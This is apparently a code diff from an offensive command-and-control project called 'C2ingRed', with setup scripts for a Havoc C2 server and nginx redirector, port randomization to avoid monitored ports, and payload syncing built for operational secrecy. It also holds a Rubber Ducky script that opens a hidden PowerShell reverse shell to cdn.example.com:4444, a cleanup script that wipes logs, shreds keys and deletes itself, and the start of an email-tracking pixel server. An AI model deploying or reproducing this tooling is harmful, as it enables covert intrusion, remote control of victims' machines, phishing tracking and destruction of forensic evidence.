sed -i "s|^smtpd_tls_key_file =.*|smtpd_tls_key_file = /etc/letsencrypt/live/$domain/privkey.pem|" /etc/postfix/main.cf
fi
# Restart Havoc
debug "Restarting Havoc service"
systemctl start havoc
return 0
else
echo -e "${RED}Failed to obtain certificate for $domain${NC}"
# Restart Havoc
debug "Restarting Havoc service"
systemctl start havoc
return 1
fi
}
# Function to display DKIM/DMARC records
show_dns_records() {
domain=$1
debug "Showing DNS records for $domain"
if [ -f "/etc/opendkim/keys/$domain/mail.txt" ]; then
echo -e "\n${BLUE}DKIM DNS Record Information for $domain${NC}"
echo -e "${YELLOW}Add the following TXT record to your DNS:${NC}"
echo -e "${GREEN}=================================================${NC}"
echo -e "Name: mail._domainkey.$domain"
echo -e "Value:"
cat /etc/opendkim/keys/$domain/mail.txt | grep -v "^;" | tr -d '\n'
echo -e "\n${GREEN}=================================================${NC}"
fi
echo -e "\n${BLUE}DMARC Record Recommendation for $domain${NC}"
echo -e "${YELLOW}Add the following TXT record to your DNS:${NC}"
echo -e "${GREEN}=================================================${NC}"
echo -e "Name: _dmarc.$domain"
echo -e "Value: v=DMARC1; p=reject; rua=mailto:admin@$domain; ruf=mailto:admin@$domain; pct=100"
echo -e "${GREEN}=================================================${NC}"
}
# Function to test redirector connection
test_redirector() {
# Check if SSH to redirector is configured
debug "Testing redirector connection"
if [ -f "/root/.ssh/config" ] && grep -q "Host redirector" /root/.ssh/config; then
echo -e "\n${BLUE}Testing SSH connection to redirector...${NC}"
if [ "$DEBUG" = true ]; then
ssh -o ConnectTimeout=5 redirector "echo 'Connection successful'"
else
ssh -o ConnectTimeout=5 redirector "echo 'Connection successful'" >/dev/null 2>&1
fi
ssh_result=$?
debug "SSH connection result: $ssh_result"
if [ $ssh_result -eq 0 ]; then
echo -e "${GREEN}SSH connection to redirector successful!${NC}"
echo -e "You can access the redirector with: ${YELLOW}ssh redirector${NC}"
return 0
else
echo -e "${RED}Could not connect to redirector.${NC}"
echo -e "${YELLOW}Please verify SSH configuration and firewall rules.${NC}"
return 1
fi
else
echo -e "\n${YELLOW}Redirector SSH configuration not found.${NC}"
echo -e "If you need to access the redirector, please check deployment logs."
return 1
fi
}
# Function to synchronize payloads with redirector
sync_payloads() {
# Check if sync script exists
debug "Attempting to synchronize payloads with redirector"
if [ -f "/root/Tools/secure_payload_sync.sh" ]; then
echo -e "\n${BLUE}Synchronizing payloads with redirector...${NC}"
if [ "$DEBUG" = true ]; then
/root/Tools/secure_payload_sync.sh
else
/root/Tools/secure_payload_sync.sh >/dev/null 2>&1
fi
sync_result=$?
debug "Payload sync result: $sync_result"
if [ $sync_result -eq 0 ]; then
echo -e "${GREEN}Payload synchronization successful${NC}"
return 0
else
echo -e "${RED}Payload synchronization failed${NC}"
echo -e "${YELLOW}Check /root/Tools/logs/payload_sync.log for details${NC}"
return 1
fi
else
echo -e "\n${YELLOW}Payload sync script not found${NC}"
return 1
fi
}
# Function to run redirector post-install script
run_redirector_setup() {
echo -e "\n${BLUE}Running post-installation setup on redirector...${NC}"
debug "Checking if we can connect to redirector"
# First, test the connection
if [ -f "/root/.ssh/config" ] && grep -q "Host redirector" /root/.ssh/config; then
# Check if post_install_redirector.sh exists on the redirector
debug "Checking for post_install_redirector.sh on redirector"
ssh -o ConnectTimeout=5 redirector "test -f /root/Tools/post_install_redirector.sh" >/dev/null 2>&1
check_result=$?
debug "Script check result: $check_result"
if [ $check_result -eq 0 ]; then
echo -e "${BLUE}Running post-install script on redirector...${NC}"
# Pass the debug flag if it's enabled here
if [ "$DEBUG" = true ]; then
ssh -o ConnectTimeout=10 redirector "/root/Tools/post_install_redirector.sh --debug"
else
ssh -o ConnectTimeout=10 redirector "/root/Tools/post_install_redirector.sh"
fi
redir_setup_result=$?
debug "Redirector setup result: $redir_setup_result"
if [ $redir_setup_result -eq 0 ]; then
echo -e "${GREEN}Redirector post-installation completed successfully${NC}"
return 0
else
echo -e "${RED}Redirector post-installation failed${NC}"
return 1
fi
else
echo -e "${RED}post_install_redirector.sh not found on redirector${NC}"
return 1
fi
else
echo -e "${RED}SSH configuration for redirector not found${NC}"
echo -e "${YELLOW}Cannot run post-installation on redirector${NC}"
return 1
fi
}
# Main execution
debug "Starting post-installation process with debug mode: $DEBUG"
debug "Run on redirector flag: $RUN_ON_REDIRECTOR"
echo -e "\n${BLUE}Running post-installation checks...${NC}"
# Get domain information
read -p "Enter primary domain: " domain
read -p "Enter email for Let's Encrypt: " email
# Check DNS configuration
echo -e "\n${BLUE}Checking DNS configuration...${NC}"
check_dns $domain
# Ask if user wants to set up Let's Encrypt certificates
read -p "Set up Let's Encrypt SSL certificate? (y/n): " setup_ssl
if [ "$setup_ssl" = "y" ]; then
setup_letsencrypt $domain $email
fi
# Show DNS records to configure
show_dns_records $domain
# Test redirector connection
test_redirector
# Ask if user wants to sync payloads
read -p "Synchronize payloads with redirector? (y/n): " sync_payload
if [ "$sync_payload" = "y" ]; then
sync_payloads
fi
# Ask if user wants to run post-install on redirector
if [ "$RUN_ON_REDIRECTOR" = true ] || test_redirector; then
read -p "Run post-installation setup on redirector? (y/n): " run_on_redir
if [ "$run_on_redir" = "y" ]; then
run_redirector_setup
fi
fi
echo -e "\n${GREEN}Post-installation checks complete!${NC}"
echo -e "${YELLOW}Ensure your DNS records are properly configured.${NC}"
echo -e "${YELLOW}See your deployment log for complete infrastructure details.${NC}"
+158
View File
@@ -0,0 +1,158 @@
#!/bin/bash
# post_install_redirector.sh - Post-installation setup for redirector
# ANSI color codes
GREEN='\033[0;32m'
YELLOW='\033[1;33m'
RED='\033[0;31m'
BLUE='\033[0;34m'
NC='\033[0m' # No Color
echo -e "${BLUE}==================================================${NC}"
echo -e "${BLUE} C2ingRed Post-Installation Setup - Redirector ${NC}"
echo -e "${BLUE}==================================================${NC}"
# Function to check if domain resolves to current IP
check_dns() {
domain=$1
current_ip=$(curl -s ifconfig.me)
resolved_ip=$(dig +short $domain)
if [ "$resolved_ip" = "$current_ip" ]; then
echo -e "${GREEN}DNS check passed for $domain!${NC}"
return 0
else
echo -e "${YELLOW}DNS check failed for $domain${NC}"
echo -e "Current IP: $current_ip"
echo -e "Resolved IP: $resolved_ip or not set"
return 1
fi
}
# Function to set up Let's Encrypt
setup_letsencrypt() {
domain=$1
email=$2
echo -e "\n${BLUE}Setting up Let's Encrypt for $domain${NC}"
# Check if certificate already exists
if [ -d "/etc/letsencrypt/live/$domain" ]; then
echo -e "${YELLOW}Certificate already exists for $domain${NC}"
read -p "Do you want to renew it? (y/n): " renew
if [ "$renew" != "y" ]; then
echo -e "${YELLOW}Skipping certificate renewal${NC}"
return 0
fi
fi
# Stop nginx if running to free up port 80
systemctl stop nginx 2>/dev/null
# Get certificate
certbot certonly --standalone -d $domain -m $email --agree-tos --non-interactive
if [ $? -eq 0 ]; then
echo -e "${GREEN}Successfully obtained certificate for $domain${NC}"
return 0
else
echo -e "${RED}Failed to obtain certificate for $domain${NC}"
return 1
fi
}
# Function to update NGINX configuration
update_nginx_config() {
domain=$1
# Check if NGINX config exists and contains the domain
if [ -f "/etc/nginx/sites-available/default" ]; then
if grep -q "$domain" "/etc/nginx/sites-available/default"; then
echo -e "\n${BLUE}Updating NGINX configuration to use SSL certificate${NC}"
# Update SSL certificate paths
sed -i "s|ssl_certificate .*|ssl_certificate /etc/letsencrypt/live/$domain/fullchain.pem;|" /etc/nginx/sites-available/default
sed -i "s|ssl_certificate_key .*|ssl_certificate_key /etc/letsencrypt/live/$domain/privkey.pem;|" /etc/nginx/sites-available/default
echo -e "${GREEN}NGINX configuration updated${NC}"
else
echo -e "${YELLOW}Domain $domain not found in NGINX configuration${NC}"
fi
else
echo -e "${RED}NGINX configuration file not found${NC}"
fi
}
# Function to start services
start_services() {
echo -e "\n${BLUE}Starting required services${NC}"
# Start nginx
systemctl start nginx
if [ $? -eq 0 ]; then
echo -e "${GREEN}NGINX started successfully${NC}"
systemctl enable nginx
else
echo -e "${RED}Failed to start NGINX${NC}"
fi
# Start shell handler
systemctl start shell-handler
if [ $? -eq 0 ]; then
echo -e "${GREEN}Shell handler started successfully${NC}"
systemctl enable shell-handler
else
echo -e "${RED}Failed to start shell handler${NC}"
fi
}
# Function to display port information
show_port_info() {
# Display shell handler port
if [ -f "/etc/systemd/system/shell-handler.service" ]; then
SHELL_PORT=$(grep "LISTEN_PORT=" /root/Tools/shell-handler/persistent-listener.sh | cut -d'=' -f2)
echo -e "\n${BLUE}Shell Handler Port Information:${NC}"
echo -e "Shell Handler is using port: ${GREEN}$SHELL_PORT${NC}"
fi
# Display nginx listening ports
echo -e "\n${BLUE}NGINX Listening Ports:${NC}"
netstat -tulnp | grep nginx
}
# Main execution
echo -e "\n${BLUE}Beginning redirector setup process...${NC}"
# Get domain information
read -p "Enter redirector domain (e.g., cdn.example.com): " redirector_domain
read -p "Enter email for Let's Encrypt: " email
# Check if DNS is properly configured
echo -e "\n${BLUE}Checking DNS configuration...${NC}"
check_dns $redirector_domain
# Confirm proceeding even if DNS check fails
if [ $? -ne 0 ]; then
echo -e "${YELLOW}DNS check failed but we can proceed anyway.${NC}"
echo -e "${YELLOW}Make sure to set up DNS records before trying to obtain certificates.${NC}"
read -p "Do you want to proceed anyway? (y/n): " proceed
if [ "$proceed" != "y" ]; then
echo -e "${RED}Setup aborted.${NC}"
exit 1
fi
fi
# Set up Let's Encrypt
setup_letsencrypt $redirector_domain $email
# Update NGINX configuration
update_nginx_config $redirector_domain
# Start services
start_services
# Show port information
show_port_info
echo -e "\n${GREEN}Redirector setup complete!${NC}"
echo -e "${YELLOW}Make sure DNS records are properly configured for continued operation.${NC}"
+224
View File
@@ -0,0 +1,224 @@
#!/bin/bash
# randomize_ports.sh - Generate and set random ports for C2 services
# ANSI color codes
GREEN='\033[0;32m'
YELLOW='\033[1;33m'
RED='\033[0;31m'
BLUE='\033[0;34m'
NC='\033[0m' # No Color
echo -e "${BLUE}==================================================${NC}"
echo -e "${BLUE} C2ingRed Port Randomization ${NC}"
echo -e "${BLUE}==================================================${NC}"
# Define port range (avoid well-known and commonly monitored ports)
MIN_PORT=10000
MAX_PORT=60000
# Define list of ports to avoid (commonly used services and monitoring tools)
AVOID_PORTS=(22 80 443 3389 5985 5986 3306 5432 1433 8080 8443 9090 9091 8008 4444 5555 1234 4321 31337 50051)
# Function to check if a port is in the avoid list
is_port_avoided() {
local port=$1
for avoid_port in "${AVOID_PORTS[@]}"; do
if [ "$port" -eq "$avoid_port" ]; then
return 0 # Port should be avoided
fi
done
return 1 # Port is fine to use
}
# Function to check if a port is already in use
is_port_in_use() {
local port=$1
if ss -tuln | grep -q ":$port "; then
return 0 # Port is in use
fi
return 1 # Port is not in use
}
# Function to generate a random port number
generate_random_port() {
local attempts=0
local max_attempts=20
local port
while [ $attempts -lt $max_attempts ]; do
port=$((RANDOM % (MAX_PORT - MIN_PORT) + MIN_PORT))
# Check if port is in avoid list or already in use
if ! is_port_avoided $port && ! is_port_in_use $port; then
echo $port
return 0
fi
attempts=$((attempts + 1))
done
# If we reach here, we couldn't find a suitable port
echo "Error: Could not find a suitable random port after $max_attempts attempts" >&2
return 1
}
# Generate random ports for different services
HTTP_C2_PORT=$(generate_random_port)
HTTPS_C2_PORT=$(generate_random_port)
MTLS_C2_PORT=$(generate_random_port)
SHELL_HANDLER_PORT=$(generate_random_port)
BEACON_SERVER_PORT=$(generate_random_port)
ADMIN_PORT=$(generate_random_port)
# Print the generated ports
echo -e "\n${GREEN}Generated random ports:${NC}"
echo -e "HTTP C2 Port: ${YELLOW}$HTTP_C2_PORT${NC}"
echo -e "HTTPS C2 Port: ${YELLOW}$HTTPS_C2_PORT${NC}"
echo -e "MTLS C2 Port: ${YELLOW}$MTLS_C2_PORT${NC}"
echo -e "Shell Handler Port: ${YELLOW}$SHELL_HANDLER_PORT${NC}"
echo -e "Beacon Server Port: ${YELLOW}$BEACON_SERVER_PORT${NC}"
echo -e "Admin Port: ${YELLOW}$ADMIN_PORT${NC}"
# Create a port configuration file
PORT_CONFIG="/root/Tools/port_config.json"
cat > $PORT_CONFIG << EOF
{
"http_c2_port": $HTTP_C2_PORT,
"https_c2_port": $HTTPS_C2_PORT,
"mtls_c2_port": $MTLS_C2_PORT,
"shell_handler_port": $SHELL_HANDLER_PORT,
"beacon_server_port": $BEACON_SERVER_PORT,
"admin_port": $ADMIN_PORT
}
EOF
echo -e "\n${GREEN}Port configuration saved to $PORT_CONFIG${NC}"
# Function to update Sliver configuration
update_sliver_config() {
local sliver_config="/root/.sliver/configs/daemon.json"
if [ -f "$sliver_config" ]; then
echo -e "\n${BLUE}Updating Sliver daemon configuration...${NC}"
cp "$sliver_config" "${sliver_config}.bak"
# Check if jq is installed
if ! command -v jq &> /dev/null; then
echo -e "${YELLOW}jq not found, installing...${NC}"
apt-get update && apt-get install -y jq
fi
# Update the configuration with jq
jq ".daemon_port = $MTLS_C2_PORT | .daemon_http_port = $HTTP_C2_PORT | .daemon_https_port = $HTTPS_C2_PORT" "${sliver_config}.bak" > "$sliver_config"
echo -e "${GREEN}Sliver configuration updated successfully${NC}"
# Restart Sliver service
echo -e "${BLUE}Restarting Sliver service...${NC}"
systemctl restart sliver
else
echo -e "${YELLOW}Sliver configuration file not found at $sliver_config${NC}"
fi
}
# Function to update shell handler configuration
update_shell_handler() {
local handler_script="/root/Tools/shell-handler/persistent-listener.sh"
if [ -f "$handler_script" ]; then
echo -e "\n${BLUE}Updating shell handler configuration...${NC}"
# Update the port in the script
sed -i "s/LISTEN_PORT=.*/LISTEN_PORT=$SHELL_HANDLER_PORT/" "$handler_script"
# Update the service if it exists
local service_file="/etc/systemd/system/shell-handler.service"
if [ -f "$service_file" ]; then
# Add environment variable to service file if not already present
if ! grep -q "Environment=\"LISTEN_PORT=" "$service_file"; then
sed -i "/\[Service\]/a Environment=\"LISTEN_PORT=$SHELL_HANDLER_PORT\"" "$service_file"
else
sed -i "s/Environment=\"LISTEN_PORT=.*/Environment=\"LISTEN_PORT=$SHELL_HANDLER_PORT\"/" "$service_file"
fi
# Reload systemd and restart the service
systemctl daemon-reload
systemctl restart shell-handler
fi
echo -e "${GREEN}Shell handler updated to use port $SHELL_HANDLER_PORT${NC}"
else
echo -e "${YELLOW}Shell handler script not found at $handler_script${NC}"
fi
}
# Function to update beacon server configuration
update_beacon_server() {
local beacon_script="/root/Tools/serve-beacons.sh"
if [ -f "$beacon_script" ]; then
echo -e "\n${BLUE}Updating beacon server configuration...${NC}"
# Update the port in the script
sed -i "s/LISTEN_PORT=.*/LISTEN_PORT=$BEACON_SERVER_PORT/" "$beacon_script"
# Restart the beacon server if it's running
if pgrep -f "serve-beacons.sh" > /dev/null; then
echo -e "${YELLOW}Stopping running beacon server...${NC}"
pkill -f "serve-beacons.sh"
echo -e "${GREEN}Starting beacon server with new port...${NC}"
nohup "$beacon_script" > /dev/null 2>&1 &
fi
echo -e "${GREEN}Beacon server updated to use port $BEACON_SERVER_PORT${NC}"
else
echo -e "${YELLOW}Beacon server script not found at $beacon_script${NC}"
fi
}
# Function to update NGINX configuration for the redirector
update_nginx_redirector() {
local nginx_config="/etc/nginx/sites-available/default"
if [ -f "$nginx_config" ]; then
echo -e "\n${BLUE}Updating NGINX redirector configuration...${NC}"
# Update configuration to use new ports
# Note: This assumes standard format used in the C2ingRed templates
if grep -q "proxy_pass http://.*:" "$nginx_config"; then
sed -i "s|proxy_pass http://.*:8888;|proxy_pass http://{{ c2_ip }}:$HTTP_C2_PORT;|g" "$nginx_config"
sed -i "s|proxy_pass https://.*:443;|proxy_pass https://{{ c2_ip }}:$HTTPS_C2_PORT;|g" "$nginx_config"
# Update stream configuration if it exists
local stream_config="/etc/nginx/modules-enabled/stream.conf"
if [ -f "$stream_config" ]; then
sed -i "s|proxy_pass .*:31337;|proxy_pass {{ c2_ip }}:$MTLS_C2_PORT;|g" "$stream_config"
sed -i "s|proxy_pass .*:50051;|proxy_pass {{ c2_ip }}:$HTTP_C2_PORT;|g" "$stream_config"
fi
# Reload NGINX
systemctl reload nginx
echo -e "${GREEN}NGINX configuration updated to use new ports${NC}"
else
echo -e "${YELLOW}Could not find proxy_pass directives in NGINX config${NC}"
fi
else
echo -e "${YELLOW}NGINX configuration file not found at $nginx_config${NC}"
fi
}
# Apply the configuration updates
update_sliver_config
update_shell_handler
update_beacon_server
update_nginx_redirector
echo -e "\n${GREEN}Port randomization complete!${NC}"
echo -e "${YELLOW}Remember to update any firewall rules to allow traffic on these ports.${NC}"
echo -e "${YELLOW}You should also update your DNS records if they contain SRV records that specify ports.${NC}"
# Display the new port configuration again for reference
echo -e "\n${BLUE}New Port Configuration:${NC}"
cat $PORT_CONFIG | jq
+52
View File
@@ -0,0 +1,52 @@
REM Title: C2ingRed Reverse Shell
REM Author: C2ingRed
REM Description: Establishes a reverse shell to the C2 redirector
REM Target: Windows 10/11
REM Version: 1.0
REM Configuration: Modify these values to match your redirector setup
REM REDIRECTOR_HOST: Your redirector domain or IP
REM REDIRECTOR_PORT: Port where shell handler is listening
REM SHELL_TYPE: powershell or cmd
REM ============= Start of configuration =============
REM REDIRECTOR_HOST=cdn.example.com
REM REDIRECTOR_PORT=4444
REM SHELL_TYPE=powershell
REM ============= End of configuration ===============
REM Minimize the chance of detection by hiding the window
DELAY 1000
GUI r
DELAY 500
STRING powershell -WindowStyle Hidden
ENTER
DELAY 2000
REM Main reverse shell payload
STRING $ErrorActionPreference = 'SilentlyContinue'; Add-Type -AssemblyName System.Security; [System.Net.ServicePointManager]::SecurityProtocol = [System.Net.SecurityProtocolType]::Tls12; function cleanup { if (Get-Variable c -ErrorAction SilentlyContinue) { $c.Close() }; if (Get-Variable p -ErrorAction SilentlyContinue) { $p.Close() }; if (Get-Variable s -ErrorAction SilentlyContinue) { $s.Close() }; [GC]::Collect(); exit }
ENTER
REM Attempt to create socket connection with retry logic
STRING $attempts = 0; $maxAttempts = 3; while ($attempts -lt $maxAttempts) { try { $c = New-Object System.Net.Sockets.TCPClient('cdn.example.com', 4444); if ($c.Connected) { break }; } catch { $attempts++; if ($attempts -ge $maxAttempts) { cleanup } else { Start-Sleep -Seconds 2 } }; }
ENTER
REM Setup streams
STRING $s = $c.GetStream(); [byte[]]$b = 0..65535|%{0}; $sl = New-Object System.Security.Cryptography.AesManaged; $sl.Mode = [System.Security.Cryptography.CipherMode]::CBC; $sl.Padding = [System.Security.Cryptography.PaddingMode]::Zeros; $sl.BlockSize = 128; $sl.KeySize = 256; $i = 0
ENTER
REM Execute either PowerShell or CMD shell based on configuration
STRING $p = New-Object System.Diagnostics.Process; $p.StartInfo.FileName = 'powershell.exe'; $p.StartInfo.Arguments = '-NoProfile -ExecutionPolicy Bypass'; $p.StartInfo.UseShellExecute = $false; $p.StartInfo.RedirectStandardInput = $true; $p.StartInfo.RedirectStandardOutput = $true; $p.StartInfo.RedirectStandardError = $true; $p.StartInfo.CreateNoWindow = $true; $p.Start() | Out-Null
ENTER
REM Setup IO redirection
STRING $is = $p.StandardInput; $os = $p.StandardOutput; $es = $p.StandardError; $osb = New-Object System.IO.MemoryStream; $esb = New-Object System.IO.MemoryStream; $osl = New-Object System.Threading.AutoResetEvent $false; $esl = New-Object System.Threading.AutoResetEvent $false; $od = $os.BaseStream.BeginRead($b, 0, $b.Length, $null, $null); $ed = $es.BaseStream.BeginRead($b, 0, $b.Length, $null, $null)
ENTER
REM Main communication loop
STRING try { while ($true) { if ($c.Connected -ne $true -or ($osb.Length -eq 0 -and $i -gt 10000)) { cleanup }; $i = 0; Start-Sleep -Milliseconds 100; $ab = New-Object byte[] $c.Available; if ($ab.Length -gt 0) { $rd = $s.Read($ab, 0, $ab.Length); $dt = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($ab); $is.Write($dt); $i = 0 }; if ($p.HasExited) { cleanup }; } } catch { cleanup }
ENTER
REM Execute and complete
STRING iex 'Get-Process | Select-Object ProcessName,Id,CPU | Sort-Object CPU -Descending | Select-Object -First 5'
ENTER
+96
View File
@@ -0,0 +1,96 @@
#!/bin/bash
# Secure cleanup script for terminating the C2 infrastructure
# Configuration
SECURE_DELETE_PASSES=7
MEMORY_WIPE=true
SELF_DESTRUCT=false # Set to true for complete instance termination (if API available)
# Set secure umask
umask 077
# Function to securely delete files
secure_delete() {
local target=$1
echo "[+] Securely deleting: $target"
if command -v srm > /dev/null; then
srm -vzf $target 2>/dev/null
elif command -v shred > /dev/null; then
shred -vzfn $SECURE_DELETE_PASSES $target 2>/dev/null
else
# Fallback to dd if specialized tools aren't available
dd if=/dev/urandom of=$target bs=1M count=10 conv=notrunc 2>/dev/null
dd if=/dev/zero of=$target bs=1M count=10 conv=notrunc 2>/dev/null
rm -f $target 2>/dev/null
fi
}
echo "[+] Beginning secure exit procedure..."
# Stop all operational services
echo "[+] Stopping operational services..."
services=("nginx" "sliver" "shell-handler" "gophish" "metasploit" "postgresql" "tor" "opendkim" "postfix" "dovecot")
for service in "${services[@]}"; do
systemctl stop $service 2>/dev/null
service $service stop 2>/dev/null
done
# Kill any remaining operational processes
echo "[+] Terminating operational processes..."
process_names=("nginx" "sliver" "msfconsole" "meterpreter" "ruby" "nc" "netcat" "socat" "python" "tor")
for proc in "${process_names[@]}"; do
pkill -9 $proc 2>/dev/null
done
# Clear all logs
echo "[+] Clearing logs..."
bash /root/Tools/clean-logs.sh
# Securely delete operational files
echo "[+] Removing operational files..."
operational_dirs=(
"/root/Tools"
"/root/Tools/beacons"
"/root/Tools/payloads"
"/root/.sliver"
"/root/.msf4"
"/root/.gophish"
"/root/Tools"
"/home/*/Tools"
"/var/www/html"
)
for dir in "${operational_dirs[@]}"; do
find $dir -type f 2>/dev/null | while read file; do
secure_delete "$file"
done
rm -rf $dir 2>/dev/null
done
# Remove SSH keys
echo "[+] Removing SSH keys and configs..."
find /home/*/.ssh /root/.ssh -type f 2>/dev/null | while read file; do
secure_delete "$file"
done
# Clean memory if requested
if $MEMORY_WIPE; then
echo "[+] Wiping system memory..."
sync
echo 3 > /proc/sys/vm/drop_caches
swapoff -a
swapon -a
fi
# Self-destruct if configured (for cloud providers with API access)
if $SELF_DESTRUCT; then
echo "[+] Initiating self-destruct sequence..."
# This would typically call the cloud provider's API to terminate the instance
# For FlokiNET, this would need to be handled manually
fi
echo "[+] Secure exit completed. Infrastructure has been sanitized."
# Remove this script itself
exec shred -n $SECURE_DELETE_PASSES -uz $0
+150
View File
@@ -0,0 +1,150 @@
#!/bin/bash
# secure_payload_sync.sh - OPSEC-focused payload distribution
# Configuration
C2_PAYLOAD_DIR="/root/Tools/Havoc/payloads"
REDIRECTOR_IP="{{ redirector_ip }}"
REDIRECTOR_USER="root"
SSH_KEY_PATH="/root/.ssh/id_ed25519"
REMOTE_PAYLOAD_DIR="/var/www/resources"
ENCRYPTED_TRANSFER=true
LOG_FILE="/root/Tools/logs/payload_sync.log"
LOG_RETENTION_DAYS=3
MAX_RANDOM_DELAY=300 # Max random delay in seconds
# Create minimal timestamped log with auto-rotation
log() {
mkdir -p $(dirname $LOG_FILE)
echo "$(date "+%Y-%m-%d %H:%M:%S") - $1" >> $LOG_FILE
find $(dirname $LOG_FILE) -name "*.log" -mtime +$LOG_RETENTION_DAYS -delete 2>/dev/null
}
# Add random delay for OPSEC
sleep_random() {
DELAY=$((RANDOM % $MAX_RANDOM_DELAY))
log "Adding random delay of $DELAY seconds"
sleep $DELAY
}
# Generate payload manifest and check for changes
check_for_changes() {
if [ ! -d "$C2_PAYLOAD_DIR" ]; then
log "ERROR: Payload directory not found"
return 1
fi
TMP_DIR=$(mktemp -d)
MANIFEST_FILE="$TMP_DIR/manifest"
find $C2_PAYLOAD_DIR -type f -exec sha256sum {} \; | sort > $MANIFEST_FILE
CURRENT_HASH=$(sha256sum $MANIFEST_FILE | awk '{print $1}')
HASH_FILE="/root/Tools/.payload_hash"
if [ -f "$HASH_FILE" ] && [ "$(cat $HASH_FILE)" == "$CURRENT_HASH" ]; then
log "No payload changes detected"
secure_delete $TMP_DIR
return 1
fi
echo $CURRENT_HASH > $HASH_FILE
return 0
}
# Secure deletion of files/directories
secure_delete() {
if [ -d "$1" ]; then
find "$1" -type f -exec shred -n 3 -z -u {} \; 2>/dev/null
rm -rf "$1" 2>/dev/null
elif [ -f "$1" ]; then
shred -n 3 -z -u "$1" 2>/dev/null
fi
}
# Encrypt archive with random password
encrypt_archive() {
SRC="$1"
DEST="$2"
# Generate random password
PASSWORD=$(head /dev/urandom | tr -dc 'a-zA-Z0-9' | head -c 32)
PASS_FILE=$(mktemp)
echo $PASSWORD > $PASS_FILE
# Encrypt the archive
openssl enc -aes-256-cbc -salt -in "$SRC" -out "$DEST" -pass file:$PASS_FILE
# Store password temporarily for transfer
echo $PASSWORD
# Securely delete password file
secure_delete $PASS_FILE
}
# Main execution
main() {
log "Starting secure payload sync"
# Add randomized timing
sleep_random
# Check for payload changes
check_for_changes || exit 0
# Generate random archive name for OPSEC
RANDOM_ID=$(head /dev/urandom | tr -dc 'a-z0-9' | head -c 12)
ARCHIVE_NAME="updates_${RANDOM_ID}.tar.gz"
ENCRYPTED_NAME="${ARCHIVE_NAME}.enc"
TEMP_DIR=$(mktemp -d)
# Create payload archive
log "Creating payload archive"
tar czf "$TEMP_DIR/$ARCHIVE_NAME" -C $(dirname $C2_PAYLOAD_DIR) $(basename $C2_PAYLOAD_DIR)
# Encrypt archive if enabled
PASSWORD=""
if [ "$ENCRYPTED_TRANSFER" = true ]; then
log "Encrypting payload archive"
PASSWORD=$(encrypt_archive "$TEMP_DIR/$ARCHIVE_NAME" "$TEMP_DIR/$ENCRYPTED_NAME")
TRANSFER_FILE="$TEMP_DIR/$ENCRYPTED_NAME"
else
TRANSFER_FILE="$TEMP_DIR/$ARCHIVE_NAME"
fi
# Transfer archive to redirector
log "Transferring payloads to redirector"
scp -i $SSH_KEY_PATH -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null -q "$TRANSFER_FILE" "$REDIRECTOR_USER@$REDIRECTOR_IP:/tmp/$ENCRYPTED_NAME"
# Handle remote extraction with decryption if needed
if [ "$ENCRYPTED_TRANSFER" = true ]; then
REMOTE_CMD="
mkdir -p $REMOTE_PAYLOAD_DIR
TEMP_DIR=\$(mktemp -d)
openssl enc -aes-256-cbc -d -in /tmp/$ENCRYPTED_NAME -out \$TEMP_DIR/$ARCHIVE_NAME -pass pass:\"$PASSWORD\"
tar xzf \$TEMP_DIR/$ARCHIVE_NAME -C /var/www/
# Clean up
shred -n 3 -z -u /tmp/$ENCRYPTED_NAME \$TEMP_DIR/$ARCHIVE_NAME 2>/dev/null
rm -rf \$TEMP_DIR
# Update web server if needed
systemctl reload nginx 2>/dev/null
"
else
REMOTE_CMD="
mkdir -p $REMOTE_PAYLOAD_DIR
tar xzf /tmp/$ENCRYPTED_NAME -C /var/www/
shred -n 3 -z -u /tmp/$ENCRYPTED_NAME 2>/dev/null
systemctl reload nginx 2>/dev/null
"
fi
# Execute command on redirector
ssh -i $SSH_KEY_PATH -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null "$REDIRECTOR_USER@$REDIRECTOR_IP" "$REMOTE_CMD"
# Clean up local temp files
log "Cleaning up temporary files"
secure_delete $TEMP_DIR
log "Payload sync completed successfully"
}
# Run main function
main
+214
View File
@@ -0,0 +1,214 @@
#!/usr/bin/env python3
"""
Simple Email Tracking Server
A minimal Flask application that serves transparent tracking pixels
and logs email opens with metadata.
"""
import os
import json
import time
import logging
from datetime import datetime
from flask import Flask, request, send_file, render_template_string
# Configure logging
logging.basicConfig(
level=logging.INFO,
format='%(asctime)s - %(levelname)s - %(message)s',
handlers=[
logging.FileHandler('/root/Tools/tracker/data/tracker.log'),
logging.StreamHandler()
]
)
# Create Flask app
app = Flask(__name__)
# Directory to store tracking data
DATA_DIR = '/root/Tools/tracker/data'
os.makedirs(DATA_DIR, exist_ok=True)
# Path to 1x1 transparent pixel
PIXEL_PATH = os.path.join(DATA_DIR, 'pixel.png')
# Create 1x1 transparent PNG if it doesn't exist
if not os.path.exists(PIXEL_PATH):
from PIL import Image
img = Image.new('RGBA', (1, 1), color=(0, 0, 0, 0))
img.save(PIXEL_PATH)
# Path to tracking data
TRACKING_DATA_PATH = os.path.join(DATA_DIR, 'tracking_data.json')
def load_tracking_data():
"""Load existing tracking data from JSON file"""
if os.path.exists(TRACKING_DATA_PATH):
try:
with open(TRACKING_DATA_PATH, 'r') as f:
return json.load(f)
except json.JSONDecodeError:
logging.error("Error loading tracking data, starting fresh")
return {}
def save_tracking_data(data):
"""Save tracking data to JSON file"""
with open(TRACKING_DATA_PATH, 'w') as f:
json.dump(data, f, indent=2)
@app.route('/pixel/<tracking_id>.png')
def tracking_pixel(tracking_id):
"""Serve a tracking pixel and log the request"""
# Get client information
user_agent = request.headers.get('User-Agent', 'Unknown')
ip_address = request.remote_addr
timestamp = datetime.now().isoformat()
referer = request.headers.get('Referer', 'Unknown')
# Log the tracking event
logging.info(f"Pixel loaded - ID: {tracking_id}, IP: {ip_address}")
# Add tracking event to data
tracking_data = load_tracking_data()
if tracking_id not in tracking_data:
tracking_data[tracking_id] = []
tracking_data[tracking_id].append({
'timestamp': timestamp,
'ip_address': ip_address,
'user_agent': user_agent,
'referer': referer
})
save_tracking_data(tracking_data)
# Return the 1x1 transparent pixel
return send_file(PIXEL_PATH, mimetype='image/png')
@app.route('/')
def dashboard():
"""Display tracking statistics dashboard"""
tracking_data = load_tracking_data()
# Prepare data for the dashboard
stats = []
for tracking_id, events in tracking_data.items():
stats.append({
'id': tracking_id,
'views': len(events),
'last_view': events[-1]['timestamp'] if events else 'Never',
'unique_ips': len(set(e['ip_address'] for e in events))
})
# Sort by most views
